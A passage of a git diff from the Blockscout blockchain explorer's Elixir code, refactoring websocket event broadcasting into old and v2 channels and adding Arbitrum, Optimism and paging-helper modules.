to_address: [ + :scam_badge, + :names, + :smart_contract, + proxy_implementations_association() + ], + created_contract_address: [ + :scam_badge, + :names, + :smart_contract, + proxy_implementations_association() + ] + ] ++ + @chain_type_transaction_associations def handle_event({:chain_event, :addresses, type, addresses}) when type in [:realtime, :on_demand] do - Endpoint.broadcast("addresses:new_address", "count", %{count: Chain.address_estimated_count()}) + # TODO: delete duplicated event when old UI becomes deprecated + Endpoint.broadcast("addresses_old:new_address", "count", %{count: AddressesCount.fetch()}) + Endpoint.broadcast("addresses:new_address", "count", %{count: AddressesCount.fetch()}) addresses |> Stream.reject(fn %Address{fetched_coin_balance: fetched_coin_balance} -> is_nil(fetched_coin_balance) end) @@ -35,7 +102,9 @@ defmodule BlockScoutWeb.Notifier do def handle_event({:chain_event, :address_coin_balances, type, address_coin_balances}) when type in [:realtime, :on_demand] do - Enum.each(address_coin_balances, &broadcast_address_coin_balance/1) + address_coin_balances + |> Enum.reject(fn balance -> is_nil(balance[:value]) end) + |> Enum.each(&broadcast_address_coin_balance/1) end def handle_event({:chain_event, :address_token_balances, type, address_token_balances}) @@ -43,15 +112,30 @@ defmodule BlockScoutWeb.Notifier do Enum.each(address_token_balances, &broadcast_address_token_balance/1) end - def handle_event({:chain_event, :address_current_token_balances, type, address_current_token_balances}) - when type in [:realtime, :on_demand] do - Enum.each(address_current_token_balances, &broadcast_address_token_balance/1) + def handle_event( + {:chain_event, :contract_verification_result, :on_demand, {address_hash, contract_verification_result}} + ) do + log_broadcast_verification_results_for_address(address_hash) + v2_params = verification_result_params_v2(contract_verification_result) + + # TODO: delete duplicated event when old UI becomes deprecated + Endpoint.broadcast( + "addresses_old:#{address_hash}", + "verification_result", + %{ + result: contract_verification_result + } + ) + + Endpoint.broadcast("addresses:#{address_hash}", "verification_result", v2_params) end def handle_event( {:chain_event, :contract_verification_result, :on_demand, {address_hash, contract_verification_result, conn}} ) do + log_broadcast_verification_results_for_address(address_hash) %{view: view, compiler: compiler} = select_contract_type_and_form_view(conn.params) + v2_params = verification_result_params_v2(contract_verification_result) contract_verification_result = case contract_verification_result do @@ -66,7 +150,7 @@ defmodule BlockScoutWeb.Notifier do |> View.render_to_string("new.html", changeset: changeset, compiler_versions: compiler_versions, - evm_versions: CodeCompiler.allowed_evm_versions(), + evm_versions: CodeCompiler.evm_versions(:solidity), address_hash: address_hash, conn: conn, retrying: true @@ -75,13 +159,16 @@ defmodule BlockScoutWeb.Notifier do {:error, result} end + # TODO: delete duplicated event when old UI becomes deprecated Endpoint.broadcast( - "addresses:#{address_hash}", + "addresses_old:#{address_hash}", "verification_result", %{ result: contract_verification_result } ) + + Endpoint.broadcast("addresses:#{address_hash}", "verification_result", v2_params) end def handle_event({:chain_event, :block_rewards, :realtime, rewards}) do @@ -91,7 +178,7 @@ defmodule BlockScoutWeb.Notifier do end def handle_event({:chain_event, :blocks, :realtime, blocks}) do - last_broadcasted_block_number = Helper.fetch_from_cache(:number, :last_broadcasted_block) + last_broadcasted_block_number = Helper.fetch_from_ets_cache(:last_broadcasted_block, :number) blocks |> Enum.sort_by(& &1.number, :asc) @@ -100,42 +187,104 @@ defmodule BlockScoutWeb.Notifier do end) end + def handle_event({:chain_event, :zkevm_confirmed_batches, :realtime, batches}) do + batches + |> Enum.sort_by(& &1.number, :asc) + |> Enum.each(fn confirmed_batch -> + rendered_batch = PolygonZkevmView.render("zkevm_batch.json", %{batch: confirmed_batch, socket: nil}) + + Endpoint.broadcast("zkevm_batches:new_zkevm_confirmed_batch", "new_zkevm_confirmed_batch", %{ + batch: rendered_batch + }) + end) + end + def handle_event({:chain_event, :exchange_rate}) do - exchange_rate = Market.get_exchange_rate(Explorer.coin()) || Token.null() + exchange_rate = Market.get_coin_exchange_rate() market_history_data = - case Market.fetch_recent_history() do - [today | the_rest] -> [%{today | closing_price: exchange_rate.usd_value} | the_rest] + Market.fetch_recent_history() + |> case do + [today | the_rest] -> [%{today | closing_price: exchange_rate.fiat_value} | the_rest] data -> data end + |> Enum.map(fn day -> Map.take(day, [:closing_price, :date]) end) exchange_rate_with_available_supply = case Application.get_env(:explorer, :supply) do RSK -> - %{exchange_rate | available_supply: nil, market_cap_usd: RSK.market_cap(exchange_rate)} + %{exchange_rate | available_supply: nil, market_cap: RSK.market_cap(exchange_rate)} _ -> Map.from_struct(exchange_rate) end - Endpoint.broadcast("exchange_rate:new_rate", "new_rate", %{ + # TODO: delete duplicated event when old UI becomes deprecated + Endpoint.broadcast("exchange_rate_old:new_rate", "new_rate", %{ exchange_rate: exchange_rate_with_available_supply, - market_history_data: Enum.map(market_history_data, fn day -> Map.take(day, [:closing_price, :date]) end) + market_history_data: market_history_data + }) + + Endpoint.broadcast("exchange_rate:new_rate", "new_rate", %{ + exchange_rate: exchange_rate_with_available_supply.fiat_value, + available_supply: exchange_rate_with_available_supply.available_supply, + chart_data: market_history_data }) end + def handle_event( + {:chain_event, :internal_transactions, :on_demand, + [%InternalTransaction{index: 0, transaction_hash: transaction_hash}]} + ) do + # TODO: delete duplicated event when old UI becomes deprecated + Endpoint.broadcast("transactions_old:#{transaction_hash}", "raw_trace", %{raw_trace_origin: transaction_hash}) + + internal_transactions = InternalTransaction.all_transaction_to_internal_transactions(transaction_hash) + + v2_params = %{ + raw_trace: TransactionView.render("raw_trace.json", %{internal_transactions: internal_transactions}) + } + + Endpoint.broadcast("transactions:#{transaction_hash}", "raw_trace", v2_params) + end + + # internal transactions broadcast disabled on the indexer level, therefore it out of scope of the refactoring within https://github.com/blockscout/blockscout/pull/7474 def handle_event({:chain_event, :internal_transactions, :realtime, internal_transactions}) do internal_transactions |> Stream.map( &(InternalTransaction.where_nonpending_block() |> Repo.get_by(transaction_hash: &1.transaction_hash, index: &1.index) - |> Repo.preload([:from_address, :to_address, transaction: :block])) + |> Repo.preload([:from_address, :to_address, :block])) ) |> Enum.each(&broadcast_internal_transaction/1) end def handle_event({:chain_event, :token_transfers, :realtime, all_token_transfers}) do - transfers_by_token = Enum.group_by(all_token_transfers, fn tt -> to_string(tt.token_contract_address_hash) end) + all_token_transfers_full = + all_token_transfers + |> Repo.preload( + DenormalizationHelper.extend_transaction_preload([ + [token: Reputation.reputation_association()], + :transaction, + from_address: [ + :scam_badge, + :names, + :smart_contract, + proxy_implementations_association() + ], + to_address: [ + :scam_badge, + :names, + :smart_contract, + proxy_implementations_association() + ] + ]) + ) + |> Instance.preload_nft(@api_true) + + transfers_by_token = Enum.group_by(all_token_transfers_full, fn tt -> to_string(tt.token_contract_address_hash) end) + + broadcast_token_transfers_websocket_v2(all_token_transfers_full, transfers_by_token) for {token_contract_address_hash, token_transfers} <- transfers_by_token do Subscription.publish( @@ -144,38 +293,30 @@ defmodule BlockScoutWeb.Notifier do token_transfers: token_contract_address_hash ) - token_transfers_full = - token_transfers - |> Stream.map( - &(TokenTransfer - |> Repo.get_by( - block_hash: &1.block_hash, - transaction_hash: &1.transaction_hash, - token_contract_address_hash: &1.token_contract_address_hash, - log_index: &1.log_index - ) - |> Repo.preload([:from_address, :to_address, :token, transaction: :block])) - ) - - token_transfers_full + token_transfers |> Enum.each(&broadcast_token_transfer/1) end end def handle_event({:chain_event, :transactions, :realtime, transactions}) do + base_preloads = [ + :block, + created_contract_address: [:scam_badge, :names, :smart_contract, proxy_implementations_association()], + from_address: [:scam_badge, :names, :smart_contract, proxy_implementations_association()], + to_address: [:scam_badge, :names, :smart_contract, proxy_implementations_association()] + ] + + preloads = + if API_V2.enabled?(), + do: [{:token_transfers, [token: Reputation.reputation_association()]} | base_preloads], + else: base_preloads + transactions - |> Enum.map(& &1.hash) - |> Chain.hashes_to_transactions( - necessity_by_association: %{ - :block => :optional, - [created_contract_address: :names] => :optional, - [from_address: :names] => :optional, - [to_address: :names] => :optional - } - ) - |> Enum.map(fn tx -> + |> Repo.preload(preloads) + |> broadcast_transactions_websocket_v2() + |> Enum.map(fn transaction -> # Disable parsing of token transfers from websocket for transaction tab because we display token transfers at a separate tab - Map.put(tx, :token_transfers, []) + Map.put(transaction, :token_transfers, []) end) |> Enum.each(&broadcast_transaction/1) end @@ -184,17 +325,118 @@ defmodule BlockScoutWeb.Notifier do today = Date.utc_today() [{:history_size, history_size}] = - Application.get_env(:block_scout_web, BlockScoutWeb.Chain.TransactionHistoryChartController, 30) + Application.get_env(:block_scout_web, BlockScoutWeb.Chain.TransactionHistoryChartController, {:history_size, 30}) x_days_back = Date.add(today, -1 * history_size) date_range = TransactionStats.by_date_range(x_days_back, today) stats = Enum.map(date_range, fn item -> Map.drop(item, [:__meta__]) end) - Endpoint.broadcast("transactions:stats", "update", %{stats: stats}) + Endpoint.broadcast("transactions_old:stats", "update", %{stats: stats}) + end + + def handle_event( + {:chain_event, :token_total_supply, :on_demand, + [%Explorer.Chain.Token{contract_address_hash: contract_address_hash, total_supply: total_supply} = token]} + ) + when not is_nil(total_supply) do + # TODO: delete duplicated event when old UI becomes deprecated + Endpoint.broadcast("tokens_old:#{to_string(contract_address_hash)}", "token_total_supply", %{token: token}) + + Endpoint.broadcast("tokens:#{to_string(contract_address_hash)}", "total_supply", %{ + total_supply: to_string(total_supply) + }) + end + + def handle_event({:chain_event, :fetched_bytecode, :on_demand, [address_hash, fetched_bytecode]}) do + # TODO: delete duplicated event when old UI becomes deprecated + Endpoint.broadcast("addresses_old:#{to_string(address_hash)}", "fetched_bytecode", %{ + fetched_bytecode: fetched_bytecode + }) + + Endpoint.broadcast("addresses:#{to_string(address_hash)}", "fetched_bytecode", %{ + fetched_bytecode: fetched_bytecode + }) + end + + def handle_event( + {:chain_event, :fetched_token_instance_metadata, :on_demand, + [token_contract_address_hash_string, token_id, fetched_token_instance_metadata]} + ) do + Endpoint.broadcast( + "token_instances:#{token_contract_address_hash_string}", + "fetched_token_instance_metadata", + %{token_id: token_id, fetched_metadata: fetched_token_instance_metadata} + ) + end + + def handle_event( + {:chain_event, :not_fetched_token_instance_metadata, :on_demand, + [token_contract_address_hash_string, token_id, reason]} + ) do + Endpoint.broadcast( + "token_instances:#{token_contract_address_hash_string}", + "not_fetched_token_instance_metadata", + %{token_id: token_id, reason: reason} + ) + end + + def handle_event({:chain_event, :changed_bytecode, :on_demand, [address_hash]}) do + # TODO: delete duplicated event when old UI becomes deprecated + Endpoint.broadcast("addresses_old:#{to_string(address_hash)}", "changed_bytecode", %{}) + Endpoint.broadcast("addresses:#{to_string(address_hash)}", "changed_bytecode", %{}) + end + + def handle_event({:chain_event, :smart_contract_was_verified = event, :on_demand, [address_hash]}) do + broadcast_automatic_verification_events(event, address_hash) + end + + def handle_event({:chain_event, :smart_contract_was_not_verified = event, :on_demand, [address_hash]}) do + broadcast_automatic_verification_events(event, address_hash) end - def handle_event(_), do: nil + def handle_event({:chain_event, :eth_bytecode_db_lookup_started = event, :on_demand, [address_hash]}) do + broadcast_automatic_verification_events(event, address_hash) + end + + @current_token_balances_limit 50 + def handle_event( + {:chain_event, :address_current_token_balances, type, + %{address_current_token_balances: address_current_token_balances, address_hash: address_hash}} + ) + when type in [:realtime, :on_demand] do + address_current_token_balances + |> Repo.preload(token: Reputation.reputation_association()) + |> Enum.group_by(& &1.token_type) + |> Enum.each(fn {token_type, balances} -> + broadcast_token_balances(address_hash, token_type, balances) + end) + end + + def handle_event({:chain_event, :address_current_token_balances, :realtime, _empty_balances_params}) do + # Don't broadcast empty balances params from realtime block fetcher + :ok + end + + case @chain_type do + :arbitrum -> + def handle_event({:chain_event, topic, _, _} = event) when topic in @chain_type_specific_events, + # credo:disable-for-next-line Credo.Check.Design.AliasUsage + do: BlockScoutWeb.Notifiers.Arbitrum.handle_event(event) + + :optimism -> + def handle_event({:chain_event, topic, _, _} = event) when topic in @chain_type_specific_events, + # credo:disable-for-next-line Credo.Check.Design.AliasUsage + do: BlockScoutWeb.Notifiers.Optimism.handle_event(event) + + _ -> + nil + end + + def handle_event(event) do + Logger.warning("Unknown broadcasted event #{inspect(event)}.") + nil + end def fetch_compiler_version(compiler) do case CompilerVersion.fetch_versions(compiler) do @@ -229,27 +471,79 @@ defmodule BlockScoutWeb.Notifier do %{view: view, compiler: compiler} end + defp broadcast_token_balances(address_hash, token_type, balances) do + sorted = + Enum.sort_by( + balances, + fn ctb -> + value = + if ctb.token.decimals, + do: Decimal.div(ctb.value, Decimal.new(Integer.pow(10, Decimal.to_integer(ctb.token.decimals)))), + else: ctb.value + + {(ctb.token.fiat_value && Decimal.mult(value, ctb.token.fiat_value)) || Decimal.new(0), value} + end, + fn {fiat_value_1, value_1}, {fiat_value_2, value_2} -> + case {Decimal.compare(fiat_value_1, fiat_value_2), Decimal.compare(value_1, value_2)} do + {:gt, _} -> true + {:eq, :gt} -> true + {:eq, :eq} -> true + _ -> false + end + end + ) + + event_postfix = + token_type + |> String.downcase() + |> String.replace("-", "_") + + event = "updated_token_balances_" <> event_postfix + + Endpoint.broadcast("addresses:#{address_hash}", event, %{ + token_balances: + AddressView.render("token_balances.json", %{ + token_balances: Enum.take(sorted, @current_token_balances_limit) + }), + overflow: Enum.count(sorted) > @current_token_balances_limit + }) + end + + defp verification_result_params_v2({:ok, _contract}) do + %{status: "success"} + end + + defp verification_result_params_v2({:error, changeset}) do + %{ + status: "error", + errors: SmartContractView.render("changeset_errors.json", %{changeset: changeset}) + } + end + defp check_verification_type(params, type), do: Map.has_key?(params, "verification_type") && Map.get(params, "verification_type") == type @doc """ - Broadcast the percentage of blocks indexed so far. + Broadcast the percentage of blocks or pending block operations indexed so far. """ - def broadcast_blocks_indexed_ratio(ratio, finished?) do - Endpoint.broadcast("blocks:indexing", "index_status", %{ + @spec broadcast_indexed_ratio(String.t(), Decimal.t()) :: + :ok | {:error, term()} + def broadcast_indexed_ratio(msg, ratio) do + Endpoint.broadcast(msg, "index_status", %{ ratio: Decimal.to_string(ratio), - finished: finished? + finished: Chain.finished_indexing_from_ratio?(ratio) }) end defp broadcast_latest_block?(block, last_broadcasted_block_number) do cond do - last_broadcasted_block_number == 0 || last_broadcasted_block_number == block.number - 1 || + last_broadcasted_block_number == 0 || + last_broadcasted_block_number == BlockNumberHelper.previous_block_number(block.number) || last_broadcasted_block_number < block.number - 4 -> broadcast_block(block) :ets.insert(:last_broadcasted_block, {:number, block.number}) - last_broadcasted_block_number > block.number - 1 -> + last_broadcasted_block_number > BlockNumberHelper.previous_block_number(block.number) -> broadcast_block(block) true -> @@ -261,9 +555,9 @@ defmodule BlockScoutWeb.Notifier do defp schedule_broadcasting(block) do :timer.sleep(@check_broadcast_sequence_period) - last_broadcasted_block_number = Helper.fetch_from_cache(:number, :last_broadcasted_block) + last_broadcasted_block_number = Helper.fetch_from_ets_cache(:last_broadcasted_block, :number) - if last_broadcasted_block_number == block.number - 1 do + if last_broadcasted_block_number == BlockNumberHelper.previous_block_number(block.number) do broadcast_block(block) :ets.insert(:last_broadcasted_block, {:number, block.number}) else @@ -272,41 +566,96 @@ defmodule BlockScoutWeb.Notifier do end defp broadcast_address_coin_balance(%{address_hash: address_hash, block_number: block_number}) do - Endpoint.broadcast("addresses:#{address_hash}", "coin_balance", %{ - block_number: block_number - }) + coin_balance = CoinBalance.get_coin_balance(address_hash, block_number, @api_true) + + if coin_balance.delta && !Decimal.eq?(coin_balance.delta, Decimal.new(0)) do + # TODO: delete duplicated event when old UI becomes deprecated + Endpoint.broadcast("addresses_old:#{address_hash}", "coin_balance", %{ + block_number: block_number, + coin_balance: coin_balance + }) + end + + if coin_balance.value && coin_balance.delta && !Decimal.eq?(coin_balance.delta, Decimal.new(0)) do + rendered_coin_balance = AddressView.render("coin_balance.json", %{coin_balance: coin_balance}) + + Endpoint.broadcast("addresses:#{address_hash}", "coin_balance", %{ + coin_balance: rendered_coin_balance + }) + + Endpoint.broadcast("addresses:#{address_hash}", "current_coin_balance", %{ + coin_balance: coin_balance.value, + exchange_rate: Market.get_coin_exchange_rate().fiat_value, + block_number: block_number + }) + end end defp broadcast_address_token_balance(%{address_hash: address_hash, block_number: block_number}) do + # TODO: delete duplicated event when old UI becomes deprecated + Endpoint.broadcast("addresses_old:#{address_hash}", "token_balance", %{ + block_number: block_number + }) + Endpoint.broadcast("addresses:#{address_hash}", "token_balance", %{ block_number: block_number }) end defp broadcast_balance(%Address{hash: address_hash} = address) do + exchange_rate = Market.get_coin_exchange_rate() + + v2_params = %{ + balance: address.fetched_coin_balance.value, + block_number: address.fetched_coin_balance_block_number, + exchange_rate: exchange_rate.fiat_value + } + + # TODO: delete duplicated event when old UI becomes deprecated Endpoint.broadcast( - "addresses:#{address_hash}", + "addresses_old:#{address_hash}", "balance_update", %{ address: address, - exchange_rate: Market.get_exchange_rate(Explorer.coin()) || Token.null() + exchange_rate: exchange_rate } ) + + Endpoint.broadcast("addresses:#{address_hash}", "balance", v2_params) end defp broadcast_block(block) do - preloaded_block = Repo.preload(block, [[miner: :names], :transactions, :rewards]) + preloaded_block = + Repo.preload(block, [ + [miner: [:names, :smart_contract, proxy_implementations_association()]], + :transactions, + :rewards + ]) + average_block_time = AverageBlockTime.average_block_time() - Endpoint.broadcast("blocks:new_block", "new_block", %{ + # TODO: delete duplicated event when old UI becomes deprecated + Endpoint.broadcast("blocks_old:new_block", "new_block", %{ block: preloaded_block, average_block_time: average_block_time }) - Endpoint.broadcast("blocks:#{to_string(block.miner_hash)}", "new_block", %{ + Endpoint.broadcast("blocks_old:#{to_string(block.miner_hash)}", "new_block", %{ block: preloaded_block, average_block_time: average_block_time }) + + block_params_v2 = %{ + average_block_time: to_string(Duration.to_milliseconds(average_block_time)), + block: + BlockView.render("block.json", %{ + block: preloaded_block, + socket: nil + }) + } + + Endpoint.broadcast("blocks:new_block", "new_block", block_params_v2) + Endpoint.broadcast("blocks:#{to_string(block.miner_hash)}", "new_block", block_params_v2) end defp broadcast_rewards(rewards) do @@ -317,77 +666,173 @@ defmodule BlockScoutWeb.Notifier do Enum.reject(preloaded_rewards, fn reward -> reward.address_type == :emission_funds end) Enum.each(preloaded_rewards_except_emission, fn reward -> - Endpoint.broadcast("rewards:#{to_string(reward.address_hash)}", "new_reward", %{ + # TODO: delete duplicated event when old UI becomes deprecated + Endpoint.broadcast("rewards_old:#{to_string(reward.address_hash)}", "new_reward", %{ emission_funds: emission_reward, validator: reward }) + + Endpoint.broadcast("rewards:#{to_string(reward.address_hash)}", "new_reward", %{reward: 1}) end) end defp broadcast_internal_transaction(internal_transaction) do - Endpoint.broadcast("addresses:#{internal_transaction.from_address_hash}", "internal_transaction", %{ + Endpoint.broadcast("addresses_old:#{internal_transaction.from_address_hash}", "internal_transaction", %{ address: internal_transaction.from_address, internal_transaction: internal_transaction }) if internal_transaction.to_address_hash != internal_transaction.from_address_hash do - Endpoint.broadcast("addresses:#{internal_transaction.to_address_hash}", "internal_transaction", %{ + Endpoint.broadcast("addresses_old:#{internal_transaction.to_address_hash}", "internal_transaction", %{ address: internal_transaction.to_address, internal_transaction: internal_transaction }) end end + defp broadcast_transactions_websocket_v2(transactions) do + pending_transactions = + Enum.filter(transactions, fn + %Transaction{block_number: nil} -> true + _ -> false + end) + + validated_transactions = + Enum.filter(transactions, fn + %Transaction{block_number: nil} -> false + _ -> true + end) + + broadcast_transactions_websocket_v2_inner( + pending_transactions, + "transactions:new_pending_transaction", + "pending_transaction" + ) + + broadcast_transactions_websocket_v2_inner(validated_transactions, "transactions:new_transaction", "transaction") + + transactions + end + + defp broadcast_transactions_websocket_v2_inner(transactions, default_channel, event) do + if not Enum.empty?(transactions) do + Endpoint.broadcast(default_channel, event, %{ + String.to_existing_atom(event) => Enum.count(transactions) + }) + end + + prepared_transactions = + TransactionView.render("transactions.json", %{ + transactions: Repo.preload(transactions, @transaction_associations), + conn: nil + }) + + transactions + |> Enum.zip(prepared_transactions) + |> group_by_address_hashes_and_broadcast(event, :transactions, & &1["hash"]) + end + defp broadcast_transaction(%Transaction{block_number: nil} = pending) do - broadcast_transaction(pending, "transactions:new_pending_transaction", "pending_transaction") + broadcast_transaction(pending, "transactions_old:new_pending_transaction", "pending_transaction") end defp broadcast_transaction(transaction) do - broadcast_transaction(transaction, "transactions:new_transaction", "transaction") + broadcast_transaction(transaction, "transactions_old:new_transaction", "transaction") end defp broadcast_transaction(transaction, transaction_channel, event) do - Endpoint.broadcast("transactions:#{transaction.hash}", "collated", %{}) + Endpoint.broadcast("transactions_old:#{transaction.hash}", "collated", %{}) Endpoint.broadcast(transaction_channel, event, %{ transaction: transaction }) - Endpoint.broadcast("addresses:#{transaction.from_address_hash}", event, %{ + Endpoint.broadcast("addresses_old:#{transaction.from_address_hash}", event, %{ address: transaction.from_address, transaction: transaction }) if transaction.to_address_hash != transaction.from_address_hash do - Endpoint.broadcast("addresses:#{transaction.to_address_hash}", event, %{ + Endpoint.broadcast("addresses_old:#{transaction.to_address_hash}", event, %{ address: transaction.to_address, transaction: transaction }) end end + defp broadcast_token_transfers_websocket_v2(tokens_transfers, transfers_by_token) do + for {token_contract_address_hash, token_transfers} <- transfers_by_token do + Endpoint.broadcast("tokens:#{token_contract_address_hash}", "token_transfer", %{ + token_transfer: Enum.count(token_transfers) + }) + end + + prepared_token_transfers = + TransactionView.render("token_transfers.json", %{ + token_transfers: tokens_transfers, + conn: nil + }) + + tokens_transfers + |> Enum.zip(prepared_token_transfers) + |> group_by_address_hashes_and_broadcast( + "token_transfer", + :token_transfers, + &{&1["transaction_hash"], &1["block_hash"], &1["log_index"]} + ) + end + defp broadcast_token_transfer(token_transfer) do broadcast_token_transfer(token_transfer, "token_transfer") end defp broadcast_token_transfer(token_transfer, event) do - Endpoint.broadcast("token_transfers:#{token_transfer.transaction_hash}", event, %{}) - - Endpoint.broadcast("addresses:#{token_transfer.from_address_hash}", event, %{ + Endpoint.broadcast("addresses_old:#{token_transfer.from_address_hash}", event, %{ address: token_transfer.from_address, token_transfer: token_transfer }) - Endpoint.broadcast("tokens:#{token_transfer.token_contract_address_hash}", event, %{ + Endpoint.broadcast("tokens_old:#{token_transfer.token_contract_address_hash}", event, %{ address: token_transfer.token_contract_address_hash, token_transfer: token_transfer }) if token_transfer.to_address_hash != token_transfer.from_address_hash do - Endpoint.broadcast("addresses:#{token_transfer.to_address_hash}", event, %{ + Endpoint.broadcast("addresses_old:#{token_transfer.to_address_hash}", event, %{ address: token_transfer.to_address, token_transfer: token_transfer }) end end + + defp group_by_address_hashes_and_broadcast(elements, event, map_key, uniq_function) do + grouped_by_from = + elements + |> Enum.group_by(fn {el, _} -> el.from_address_hash end, fn {_, prepared_el} -> prepared_el end) + + grouped_by_to = + elements + |> Enum.group_by(fn {el, _} -> el.to_address_hash end, fn {_, prepared_el} -> prepared_el end) + + grouped = Map.merge(grouped_by_to, grouped_by_from, fn _k, v1, v2 -> Enum.uniq_by(v1 ++ v2, uniq_function) end) + + for {address_hash, elements} <- grouped do + Endpoint.broadcast("addresses:#{address_hash}", event, %{map_key => elements}) + end + end + + defp log_broadcast_verification_results_for_address(address_hash) do + Logger.info("Broadcast smart-contract #{address_hash} verification results") + end + + defp log_broadcast_smart_contract_event(address_hash, event) do + Logger.info("Broadcast smart-contract #{address_hash}: #{event}") + end + + defp broadcast_automatic_verification_events(event, address_hash) do + log_broadcast_smart_contract_event(address_hash, event) + # TODO: delete duplicated event when old UI becomes deprecated + Endpoint.broadcast("addresses_old:#{to_string(address_hash)}", to_string(event), %{}) + Endpoint.broadcast("addresses:#{to_string(address_hash)}", to_string(event), %{}) + end end diff --git a/apps/block_scout_web/lib/block_scout_web/notifiers/arbitrum.ex b/apps/block_scout_web/lib/block_scout_web/notifiers/arbitrum.ex new file mode 100644 index 000000000000..2b7589dc0f3b --- /dev/null +++ b/apps/block_scout_web/lib/block_scout_web/notifiers/arbitrum.ex @@ -0,0 +1,31 @@ +defmodule BlockScoutWeb.Notifiers.Arbitrum do + @moduledoc """ + Module to handle and broadcast Arbitrum related events. + """ + + alias BlockScoutWeb.API.V2.ArbitrumView + alias BlockScoutWeb.Endpoint + + require Logger + + def handle_event({:chain_event, :new_arbitrum_batches, :realtime, batches}) do + batches + |> Enum.sort_by(& &1.number, :asc) + |> Enum.each(fn batch -> + Endpoint.broadcast("arbitrum:new_batch", "new_arbitrum_batch", %{ + batch: ArbitrumView.render_base_info_for_batch(batch) + }) + end) + end + + def handle_event({:chain_event, :new_messages_to_arbitrum_amount, :realtime, new_messages_amount}) do + Endpoint.broadcast("arbitrum:new_messages_to_rollup_amount", "new_messages_to_rollup_amount", %{ + new_messages_to_rollup_amount: new_messages_amount + }) + end + + def handle_event(event) do + Logger.warning("Unknown broadcasted event #{inspect(event)}.") + nil + end +end diff --git a/apps/block_scout_web/lib/block_scout_web/notifiers/optimism.ex b/apps/block_scout_web/lib/block_scout_web/notifiers/optimism.ex new file mode 100644 index 000000000000..0d7576640b20 --- /dev/null +++ b/apps/block_scout_web/lib/block_scout_web/notifiers/optimism.ex @@ -0,0 +1,34 @@ +defmodule BlockScoutWeb.Notifiers.Optimism do + @moduledoc """ + Module to handle and broadcast OP related events. + """ + + alias BlockScoutWeb.Endpoint + + require Logger + + def handle_event({:chain_event, :new_optimism_batches, :realtime, batches}) do + batches + |> Enum.sort_by(& &1.number, :asc) + |> Enum.each(fn batch -> + Endpoint.broadcast("optimism:new_batch", "new_optimism_batch", %{ + batch: batch + }) + end) + end + + def handle_event({:chain_event, :new_optimism_deposits, :realtime, deposits}) do + deposits_count = Enum.count(deposits) + + if deposits_count > 0 do + Endpoint.broadcast("optimism:new_deposits", "new_optimism_deposits", %{ + deposits: deposits_count + }) + end + end + + def handle_event(event) do + Logger.warning("Unknown broadcasted event #{inspect(event)}.") + nil + end +end diff --git a/apps/block_scout_web/lib/block_scout_web/paging_helper.ex b/apps/block_scout_web/lib/block_scout_web/paging_helper.ex new file mode 100644 index 000000000000..d6b0eaf79b17 --- /dev/null +++ b/apps/block_scout_web/lib/block_scout_web/paging_helper.ex @@ -0,0 +1,414 @@ +defmodule BlockScoutWeb.PagingHelper do + @moduledoc """ + Helper for fetching filters and other url query parameters + """ + use Utils.CompileTimeEnvHelper, chain_type: [:explorer, :chain_type] + + import Explorer.Chain, only: [string_to_full_hash: 1] + import Explorer.Chain.SmartContract.Proxy.Models.Implementation, only: [proxy_implementations_association: 0] + + alias Explorer.Chain.InternalTransaction.CallType, as: InternalTransactionCallType + alias Explorer.Chain.InternalTransaction.Type, as: InternalTransactionType + alias Explorer.Chain.{SmartContract, Transaction} + alias Explorer.{Helper, PagingOptions, SortingHelper} + + @page_size 50 + @default_paging_options %PagingOptions{page_size: @page_size + 1} + @allowed_filter_labels ["validated", "pending"] + + case @chain_type do + :ethereum -> + @allowed_type_labels [ + "coin_transfer", + "contract_call", + "contract_creation", + "token_transfer", + "token_creation", + "blob_transaction" + ] + + _ -> + @allowed_type_labels [ + "coin_transfer", + "contract_call", + "contract_creation", + "token_transfer", + "token_creation" + ] + end + + @allowed_token_transfer_type_labels ["ERC-20", "ERC-721", "ERC-1155", "ERC-404"] + @allowed_nft_type_labels ["ERC-721", "ERC-1155", "ERC-404"] + @allowed_chain_id [1, 56, 99] + @allowed_stability_validators_states ["active", "probation", "inactive"] + + def allowed_stability_validators_states, do: @allowed_stability_validators_states + + def paging_options(%{"block_number" => block_number_string, "index" => index_string}, [:validated | _]) do + with {:ok, block_number} <- Helper.safe_parse_non_negative_integer(block_number_string), + {:ok, index} <- Helper.safe_parse_non_negative_integer(index_string) do + [paging_options: %{@default_paging_options | key: {block_number, index}}] + else + _ -> + [paging_options: @default_paging_options] + end + end + + def paging_options(%{"inserted_at" => inserted_at_string, "hash" => hash_string}, [:pending | _]) do + with {:ok, inserted_at, _} <- DateTime.from_iso8601(inserted_at_string), + {:ok, hash} <- string_to_full_hash(hash_string) do + [paging_options: %{@default_paging_options | key: {inserted_at, hash}, is_pending_transaction: true}] + else + _ -> + [paging_options: @default_paging_options] + end + end + + def paging_options(_params, _filter), do: [paging_options: @default_paging_options] + + @spec stability_validators_state_options(map()) :: [{:state, list()}, ...] + def stability_validators_state_options(%{"state_filter" => state}) do + [state: filters_to_list(state, @allowed_stability_validators_states, :downcase)] + end + + def stability_validators_state_options(_), do: [state: []] + + @doc """ + Parse 'type' query parameter from request option map + """ + @spec token_transfers_types_options(map()) :: [{:token_type, list}] + def token_transfers_types_options(%{"type" => filters}) do + [ + token_type: filters_to_list(filters, @allowed_token_transfer_type_labels) + ] + end + + def token_transfers_types_options(%{type: filters}) do + [ + token_type: filters_to_list(filters, @allowed_token_transfer_type_labels) + ] + end + + def token_transfers_types_options(_), do: [token_type: []] + + @doc """ + Parse 'type' query parameter from request option map + """ + @spec nft_types_options(map()) :: [{:token_type, list}] + def nft_types_options(%{type: filters}) do + [ + token_type: filters_to_list(filters, @allowed_nft_type_labels) + ] + end + + def nft_types_options(_), do: [token_type: []] + + defp filters_to_list(filters, allowed, variant \\ :upcase) + defp filters_to_list(filters, allowed, :downcase), do: filters |> String.downcase() |> parse_filter(allowed) + defp filters_to_list(filters, allowed, :upcase), do: filters |> String.upcase() |> parse_filter(allowed) + + def filter_options(%{"filter" => filter}, fallback) do + filter = filter |> parse_filter(@allowed_filter_labels) |> Enum.map(&String.to_existing_atom/1) + if(filter == [], do: [fallback], else: filter) + end + + def filter_options(_params, fallback), do: [fallback] + + def chain_ids_filter_options(%{"chain_ids" => chain_id}) do + [ + chain_ids: + chain_id + |> String.split(",") + |> Enum.uniq() + |> Enum.map(&Helper.parse_integer/1) + |> Enum.filter(&Enum.member?(@allowed_chain_id, &1)) + ] + end + + def chain_ids_filter_options(_), do: [chain_id: []] + + def type_filter_options(%{"type" => type}) do + [type: type |> parse_filter(@allowed_type_labels) |> Enum.map(&String.to_existing_atom/1)] + end + + def type_filter_options(_params), do: [type: []] + + @spec internal_transaction_type_options(any()) 